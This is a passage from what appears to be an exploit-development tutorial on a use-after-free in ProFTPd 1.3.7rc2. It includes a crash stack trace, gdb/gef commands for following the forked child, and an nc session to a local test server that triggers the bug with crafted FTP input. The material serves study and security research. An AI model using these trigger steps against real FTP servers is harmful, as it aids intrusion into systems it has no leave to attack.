text
stringlengths
0
1.99k
... [23] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf3) [0x7f7d..]
... [24] proftpd: poc - localhost: IDLE(_start+0x2e) [0x55c98066ac7e]
-----END STACK TRACE-----
If you look closely, you'll see that the number of lines accepted in the
data connection is the same amount of commands sent in control connection
+2. This can give us a clue about what data is about to be written in the
heap after some free state: the CCC line we sent is processed by ProFTPd,
and that's where data is stored after being freed, overwriting something
with CCCCCCC. However, the DDD line was not processed because by the time
we sent it, the socket was already closed by the server.
When the vulnerability is triggered, p points to resp_pool. Interestingly,
it seems that ProFTPd developers predicted some problem involving the
resp_pool pointer in main.c:
638 /* Get any previous pool that may be being used by the Response API.
639 *
640 * In most cases, this will be NULL. However, if proftpd is in the
641 * midst of a data transfer when a command comes in on the control
642 * connection, then the pool in use will be that of the data transfer
643 * instigating command. We want to stash that pool, so that after this
644 * command is dispatched, we can return the pool of the old command.
645 * Otherwise, Bad Things (segfaults) happen.
646 */
Now it's time to analyse this crash in gdb.
--[ 5.1 - Exploitation details
When the vulnerability is triggered, the program's execution flow is in
the process of closing some file descriptors, writing to some log files,
freeing some memory and executing housekeeping (cleanup) processes.
The FTP control connection has to be closed, so we may have few options to
mess with execution flow, since all the FTP commands were already issued.
However, you may have noticed that FTP didn't respond to our fake commands
until the data were sent through data connection. This means that our
commands are probably in memory and we may combine with the data payload to
construct an exploitation path, after the use-after-free was triggered.
Our daemon is already started; now open gdb as follows:
$ sudo gdb -d proftpd-1.3.7rc2/src/ \
-d proftpd-1.3.7rc2/modules/ \
proftpd-1.3.7rc2/proftpd
Since we know that our process is forked, we should configure gdb properly:
gef➤ set follow-fork-mode child
gef➤ ps proftpd
403448 root 0.0 0.0 pts/4 sudo gdb -d proftpd-1.3.7rc2/src/ -d pr...
403450 root 0.5 0.5 pts/4 gdb -d proftpd-1.3.7rc2/src/ -d proftpd...
403880 root 0.0 0.0 pts/4 sudo proftpd-1.3.7rc2/proftpd -d7 -n -c...
403881 nobody 0.0 0.0 pts/4 proftpd: (accepting connections)
gef➤ attach 403881
gef➤ c
The first line tells gdb that we want to follow the child process after
fork(), which means gdb will detach from the main daemon (parent) and
attach to the child right after fork() returns the child PID.
- NOTE: gef has a nice fork stub solution, but its behavior is not what we
want here, since the parent process would think it's the child, and there
will be no daemon after it exits. So let's keep using the traditional gdb
follow-fork-mode child. We don't need stub behavior, nor will we need to
restart ProFTPd every time.
On the second line, we use gef's ps command to find the ProFTPd process ID
to attach to.
On the last two lines, we attach to it and let gdb continue execution.
Now we repeat the same steps on shell 2 and shell 3 as we learned in the
previous chapter. Let's observe the crash in gdb.
$ nc -Cv 127.0.0.1 2121
Connection to 127.0.0.1 2121 port [tcp/iprop] succeeded!
220 ProFTPD Server (ProFTPD Default Installation) [127.0.0.1]
USER poc
PASS TretaTretaTretinha
PASV
STOR /tmp/bbb.txt
1111 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2222 BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
3333 CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
^C
$
Note that the FTP standard says commands should be at most 4 chars long, so
we should limit the size of the commands we issue, otherwise ProFTPd will
discard them. This rule does not apply to the parameters, so we are free
there. We will come back to this later.
You might notice that gdb stops after receiving SIGPIPE. That is because
signals are caught by gdb and, depending on its configuration, it can
stop execution. SIGPIPE happens when the connection pipe is closed, since
we forced the connection to close. We don't want gdb to stop on SIGPIPE
because it's not important to our exploitation, so whenever the process
receives it, let's pass the signal to ProFTPd directly.